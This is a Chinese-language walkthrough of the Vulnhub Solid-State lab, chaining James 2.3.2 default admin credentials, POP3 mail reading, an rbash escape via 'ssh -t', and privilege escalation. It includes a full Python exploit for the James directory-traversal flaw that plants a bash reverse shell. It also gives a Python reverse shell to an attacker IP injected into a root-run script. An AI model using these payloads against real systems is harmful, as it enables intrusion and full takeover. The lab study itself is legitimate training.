[Vulnhub]Solid-State POP3邮件服务(James)+rbash逃逸
字数 1349 2025-08-19 12:41:24
Solid-State POP3邮件服务(James)+rbash逃逸渗透测试教学文档
1. 信息收集阶段
1.1 初始扫描
使用Nmap对目标进行扫描:
nmap -p- 192.168.8.100 --min-rate 1000 -sC -sV
扫描结果:
- 开放端口及服务:
- 22/tcp: OpenSSH 7.4p1 Debian 10+deb9u1
- 25/tcp: JAMES smtpd 2.3.2
- 80/tcp: Apache httpd 2.4.25
- 110/tcp: JAMES pop3d 2.3.2
- 119/tcp: JAMES nntpd
- 4555/tcp: JAMES Remote Admin 2.3.2
1.2 服务识别
重点关注JAMES邮件服务的管理接口(4555端口),已知默认凭证为root/root。
2. 初始访问
2.1 利用James管理接口
- 连接到James管理服务:
nc 192.168.8.100 4555
- 使用默认凭证登录:
root
root
- 修改用户mindy的密码:
setpassword mindy mindy
2.2 通过POP3获取凭证
- 连接到POP3服务:
nc -nC 192.168.8.100 110
- 获取邮件内容:
user mindy
pass mindy
list
retr 2
从邮件中获取到凭证:
- 用户名: mindy
- 密码: P@55W0rd1!2@
3. SSH登录与rbash逃逸
3.1 受限shell环境
使用获取的凭证登录SSH:
ssh mindy@192.168.8.100
发现用户处于受限的rbash环境,具有以下限制:
- 禁止更改目录(cd命令)
- 禁止设置/取消设置shell选项和位置参数
- 禁止执行包含斜杠(/)的命令
- 禁止重定向输出
- 禁止更改$PATH环境变量
- 禁止导入和定义函数
3.2 rbash逃逸技术
使用SSH的-t选项绕过rbash限制:
ssh mindy@192.168.8.100 -t bash
原理分析:
-t选项强制分配伪终端- 直接启动新shell,覆盖默认的rbash
- 绕过rbash的限制,因为命令由远程SSH服务处理而非rbash内部
4. 权限提升
4.1 利用James目录穿越漏洞
使用Python脚本利用James的目录穿越漏洞:
#!/usr/bin/python3
import socket
import sys
import time
# 默认凭证
user = 'root'
pwd = 'root'
if len(sys.argv) != 4:
sys.stderr.write("[-]Usage: python3 %s <remote ip> <local ip> <local listener port>\n" % sys.argv[0])
sys.stderr.write("[-]Example: python3 %s 172.16.1.66 172.16.1.139 443\n" % sys.argv[0])
sys.stderr.write("[-]Note: The default payload is a basic bash reverse shell - check script for details and other options.\n")
sys.exit(1)
remote_ip = sys.argv[1]
local_ip = sys.argv[2]
port = sys.argv[3]
# 反向shell payload
payload = '/bin/bash -i >& /dev/tcp/' + local_ip + '/' + port + ' 0>&1'
def recv(s):
s.recv(1024)
time.sleep(0.2)
try:
# 连接到James管理接口
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((remote_ip,4555))
s.recv(1024)
s.send((user + "\n").encode('utf-8'))
s.recv(1024)
s.send((pwd + "\n").encode('utf-8'))
s.recv(1024)
# 创建恶意用户
s.send("adduser etc/bash_completion.d exploit\n".encode('utf-8'))
s.recv(1024)
s.send("quit\n".encode('utf-8'))
s.close()
# 连接到SMTP服务发送恶意邮件
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((remote_ip,25))
s.send("ehlo team@team.pl\r\n".encode('utf-8'))
recv(s)
s.send("mail from: <'@team.pl>\r\n".encode('utf-8'))
recv(s)
s.send("rcpt to:etc/bash_completion.d>\r\n".encode('utf-8'))
recv(s)
s.send("data\r\n".encode('utf-8'))
recv(s)
s.send("From: team@team.pl\r\n".encode('utf-8'))
s.send("\r\n".encode('utf-8'))
s.send("'\n".encode('utf-8'))
s.send((payload + "\n").encode('utf-8'))
s.send("\r\n.\r\n".encode('utf-8'))
recv(s)
s.send("quit\r\n".encode('utf-8'))
recv(s)
s.close()
print("[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).")
if '/bin/bash' in payload:
print("[+]Don't forget to start a listener on port", port, "before logging in!")
except:
print("Connection failed.")
关键步骤:
- 通过管理接口创建恶意用户
etc/bash_completion.d - 通过SMTP发送邮件到
..etc/bash_completion.d,利用目录穿越漏洞 - 恶意代码会被写入
/etc/bash_completion.d目录 - 当用户登录时,Bash会自动执行该目录下的脚本
执行流程:
- 启动监听:
nc -lvnp 10032
- 运行漏洞利用脚本:
python3 exp.py 192.168.8.100 192.168.8.107 10032
- 通过SSH登录触发payload:
ssh mindy@192.168.8.100
4.2 进一步权限提升
- 上传pspy32工具监控进程:
chmod +x pspy32
-
发现root用户定期执行
/opt/tmp.py -
检查文件权限:
ls -la /opt/tmp.py
- 修改
/opt/tmp.py添加反向shell代码:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.8.107",10033))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("/bin/bash")
- 启动监听等待root shell:
nc -lvnp 10033
5. 关键知识点总结
-
James邮件服务漏洞:
- 默认凭证root/root
- 目录穿越漏洞允许写入任意文件
- 可通过SMTP服务利用
-
rbash逃逸技术:
- 使用SSH的
-t选项启动完整bash - 绕过路径限制和环境变量限制
- 使用SSH的
-
持久化技术:
- 利用
/etc/bash_completion.d自动执行 - 利用cron job或定时任务
- 利用
-
权限提升路径:
- 从普通用户到root的多种方法
- 监控系统进程发现提权机会
-
防御措施:
- 更改默认凭证
- 更新James邮件服务版本
- 限制rbash用户的权限
- 监控敏感目录如
/etc/bash_completion.d的修改